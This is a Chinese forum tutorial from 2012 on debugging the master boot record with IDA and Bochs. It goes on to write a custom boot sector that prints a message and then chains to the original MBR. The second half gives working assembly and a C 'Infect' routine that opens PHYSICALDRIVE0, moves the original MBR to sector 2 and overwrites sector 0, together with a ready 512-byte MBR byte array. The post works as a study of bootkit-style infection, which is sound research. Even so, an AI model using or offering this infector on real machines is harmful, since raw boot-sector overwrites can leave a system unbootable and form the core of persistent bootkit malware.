本帖最后由 willJ 于 2012-11-24 18:41 编辑
一、说明 Bochs 是一个x86硬件平台的开源模拟器。它可以模拟各种硬件的配置。Bochs模拟的是整个PC平台,包括I/O设备、内存和BIOS。更为有趣的是,甚至可以不使用PC硬件来运行Bochs。对于调试操作系统是灰常强大的。说白了就是一个 虚拟机。
二、IDA调试MBR IDA调试MBR比较简单,先配置下虚拟机的VMX文件,添加一下代码: [AppleScript] 纯文本查看 复制代码 1 2 3 | debugStub.listen.guest 32 = "TRUE"
debugStub.hideBreakpoints = "TRUE"
bios.bootDelay = "3000"
|
打开IDA--Debugger--Attach--Remote GDB debugger Hostname为localhost,port为8832 启动虚拟机后点击上面窗口OK按钮,弹出选择附加进程,选择第一个,点OK 在MBR载入内存的地方下断,也就是断在0x7c00 F9运行起来,停在下面 这个时候最好Alt+s下,选择16位的模式,因为这个时候还未进入32位模式 这个时候就可以随意的调试了,或许要比静态看清晰点吧。
三、Bochs调试MBR Bochs是强大开源调试操作系统的模拟器,可以去http://bochs.sourceforge.net下载源码和软件。 首先新建一个硬盘(我安装的是2.6版本),开始--Bochs 2.6--Disk Image Creation Tool,一路默认回车就可以在当前目录创建一个虚拟硬盘,我这里是c.img 新建文件夹winxp,创建配置文件,我这里命名为WinXP.bxrc,将c.img复制进来 [AppleScript] 纯文本查看 复制代码 1 2 3 4 5 6 7 | megs : 256
ata 0 - master : type = disk , path = "c.img" , mode = flat , cylinders = 20 , heads = 16 , spt = 63
ata 0 - slave : type = cdrom , path = "H:\WinXP.ISO" , status = inserted
boot : disk
|
创建一个debugmbr.bat的批处理文件,用于启动调试模式 [AppleScript] 纯文本查看 复制代码 1 | ..\bochsdbg.exe - q - f WinXP.bxrc
|
直接将XP的MBR复制进c.img的前512字节。启动debugmbr.bat后停在下图,下断于0x7c00(b 0x7c00),使用c命令继续运行到断点 调用u /10显示10行反汇编 调用r显示寄存器状态 如果想要单步走就使用s命令(相当于OD的F7),可以使用n单步(相当于OD的F8)
--------------------------------我是分割线---------------------------------------------------------
四、自己写代码修改MBR 这里主要的工作是将原始MBR备份到第二扇区,第一扇区写入自己的代码,执行完自己的代码后再调用原始MBR,自己的代码就实现一个显示I Love 52Pojie吧。代码如下,每句详细注释。 [AppleScript] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | ;File : MBR.ASM
;Author : willJ
;Date : 2012.1 1.2 4
;Compile : nasm - f bin MBR.ASM - o MBR.COM
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
jmp START
DATA :
db "I Love 52Pojie!" , 0 xa , 0 xd ;需要显示的数据
START :
xor bx , bx ;清零bx寄存器
mov ds , bx ;将ds清零
mov ax , [ 0 x 413 ] ; 0 x 413 记录了BIOS的内存可用区域
;从高到低分配的
sub ax , 2 ;ax -2 就是分配 2 KB空间
mov [ 0 x 413 ] , ax ;更新 0 x 413 的值
shl ax , 0 x 6 ;这里是计算出分配的段起始地址
;左移 6 位就是乘 2 的 6 次方
;以为 16 位汇编寻址为段寄存器 * 16 + 寄存器的方式
;所以这里得ax * 1024 / 16 所以为左移 2 的 6 次方
mov es , ax ;得到的段寄存器复制给es
mov si , 0 x 7 c 00 ;赋值si为 0 x 7 c 00 ,也就是代码起始位置
xor di , di ;清零di
mov cx , 0 x 200 ;大小为 0 x 200 也就是 512 字节
rep movsb ;将自己分配过去达到内存驻留的效果
push es ;将es压栈
push Main
retf ;相当于jmp指令,跳向Main的地方
Main :
call ShowMessage ;显示信息
call GetInput ;获取用户输入,如果是回车就启动系统
call BootOriginOs ;启动原始系统
ShowMessage ;利用int 10 h中断显示信息
mov bp , DATA ;需要显示的内容
mov cx , 0 xF ;显示的内容大小
mov ah , 0 x 13 ;中断功能号
mov al , 0 x 01 ;al显示的方式
mov bh , 0 x 00 ;bh为 0 显示页就是当前页面
mov bl , 0 x 0 c ;bl为 0 xc表示字体属性,这里显示为红色
xor dx , dx ;dh , dl为表示行坐标,列坐标,这里为 0
int 10 h ;调用 10 H中断
ret
GetInput : ;接受用户输入
mov ah , 0 x 00 ;ah表示 0 号子功能
int 16 h ;调用 16 H中断,从键盘读字符
and ax , 0 xff ;ah / al = 扫描码 / ASCII
cmp al , 0 xd ;比较输入是不是为回车,回车ASCII为 0 xd
jnz GetInput ;不相等就循环,相等就返回
ret
BootOriginOs : ;启动操作系统
xor dx , dx ;清零dx
mov es , dx ;赋值es为 0
mov ah , 0 x 02 ;调用Int 13 H中断的 2 号子功能
mov al , 0 x 01 ;al为 1 表示读取 1 个扇区
mov ch , 0 x 00 ;ch为 0 表示 0 号柱面
mov cl , 0 x 02 ;cl为 2 表示读取第二个扇区,也就是备份的原MBR
mov dx , 0 x 80 ; 80 表示读取为硬盘
mov bx , 0 x 7 c 00 ;es : bx为内存缓冲区地址,就是要载入到那个内存去
int 13 h ;调用 13 H中断
jmp 0 x 0 : 0 x 7 c 00 ;跳向内存 0 x 7 c 00 继续执行
times 510 - ( $ - $$ ) db 0 ;$表示当前地址,$$表示起始地址,
;这个代码表示将 510 字节剩余的空间 0 填充
dw 0 xAA 55 ;最后两个字节为 55 AA,也就是MBR结束标志
|
五、编译 利用nasm编译程序,然后利用Winhex导出2进制,这里可以直接手工调用将MBR复制到第二扇区,然后将我们的代码复制进第一扇区,我这里写一个程序实现。
六、代码实现MBR感染 核心感染代码 [AppleScript] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | VOID Infect ( )
{
HANDLE handle;
BYTE * pStr;
DWORD Length;
handle = : : CreateFile ( "\\\\.\\PHYSICALDRIVE0" ,
GENERIC_WRITE | GENERIC_READ ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
NULL ,
OPEN_EXISTING ,
0 ,
NULL
) ;
if ( INVALID_HANDLE_VALUE = = handle )
{
MessageBox ( NULL , "Open DISK error!" , "Wrong" , MB_OK ) ;
return ;
}
pStr = ( BYTE * ) VirtualAlloc ( NULL , MBR_SIZE , MEM_COMMIT , PAGE_READWRITE | PAGE_NOCACHE ) ;
if ( NULL = = pStr )
{
MessageBox ( NULL , "VirtualAlloc() Error!" , "Wrong" , MB_OK ) ;
return ;
}
SetFilePointer ( handle , 0 , NULL , FILE_BEGIN ) ;
if ( !ReadFile ( handle , pStr , MBR_SIZE , & Length , NULL ) )
{
MessageBox ( NULL , "ReadFile() Error!" , "Wrong" , MB_OK ) ;
return ;
}
/ / 将原来的MBR写入第二个扇区里面
SetFilePointer ( handle , MBR_SIZE , NULL , FILE_BEGIN ) ;
if ( !WriteFile ( handle , pStr , MBR_SIZE , & Length , NULL ) )
{
MessageBox ( NULL , "WriteFile() Error!" , "Wrong" , MB_OK ) ;
return ;
}
/ / 修复MBR当中的分区表
memcpy ( & MBR[ 0 x 1 be] , pStr + 0 x 1 be , 4 * 16 ) ;
SetFilePointer ( handle , 0 , NULL , FILE_BEGIN ) ;
if ( !WriteFile ( handle , MBR , MBR_SIZE , & Length , NULL ) )
{
MessageBox ( NULL , "WriteFile() MBR Error!" , "Wrong" , MB_OK ) ;
return ;
}
VirtualFree ( pStr , MBR_SIZE , MEM_RELEASE ) ;
CloseHandle ( handle ) ;
MessageBox ( NULL , "感染成功" , "Right" , MB_OK ) ;
return ;
}
void CMBR_InfectDlg : : OnButton 1 ( )
{
/ / TODO : Add your control notification handler code here
Infect ( ) ;
}
|
.h文件 [AppleScript] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | unsigned char MBR[ 512 ] = {
0 xE 9 , 0 x 11 , 0 x 00 , 0 x 49 , 0 x 20 , 0 x 4 C , 0 x 6 F , 0 x 76 , 0 x 65 , 0 x 20 , 0 x 35 , 0 x 32 , 0 x 50 , 0 x 6 F , 0 x 6 A , 0 x 69 ,
0 x 65 , 0 x 21 , 0 x 0 A , 0 x 0 D , 0 x 31 , 0 xDB , 0 x 8 E , 0 xDB , 0 xA 1 , 0 x 13 , 0 x 04 , 0 x 2 D , 0 x 02 , 0 x 00 , 0 xA 3 , 0 x 13 ,
0 x 04 , 0 xC 1 , 0 xE 0 , 0 x 06 , 0 x 8 E , 0 xC 0 , 0 xBE , 0 x 00 , 0 x 7 C , 0 x 31 , 0 xFF , 0 xB 9 , 0 x 00 , 0 x 02 , 0 xF 3 , 0 xA 4 ,
0 x 06 , 0 x 68 , 0 x 35 , 0 x 00 , 0 xCB , 0 xE 8 , 0 x 06 , 0 x 00 , 0 xE 8 , 0 x 16 , 0 x 00 , 0 xE 8 , 0 x 1 F , 0 x 00 , 0 xBD , 0 x 03 ,
0 x 00 , 0 xB 9 , 0 x 0 F , 0 x 00 , 0 xB 4 , 0 x 13 , 0 xB 0 , 0 x 01 , 0 xB 7 , 0 x 00 , 0 xB 3 , 0 x 0 C , 0 x 31 , 0 xD 2 , 0 xCD , 0 x 10 ,
0 xC 3 , 0 xB 4 , 0 x 00 , 0 xCD , 0 x 16 , 0 x 25 , 0 xFF , 0 x 00 , 0 x 3 C , 0 x 0 D , 0 x 75 , 0 xF 5 , 0 xC 3 , 0 x 31 , 0 xD 2 , 0 x 8 E ,
0 xC 2 , 0 xB 4 , 0 x 02 , 0 xB 0 , 0 x 01 , 0 xB 5 , 0 x 00 , 0 xB 1 , 0 x 02 , 0 xBA , 0 x 80 , 0 x 00 , 0 xBB , 0 x 00 , 0 x 7 C , 0 xCD ,
0 x 13 , 0 xEA , 0 x 00 , 0 x 7 C , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 ,
0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 00 , 0 x 55 , 0 xAA
} ;
|
七、感染后的效果图 回车后可以进入系统。 每次看见 wowocock大牛的的文章都只能仰望,希望可以努力向您靠近,继续努力吧。
|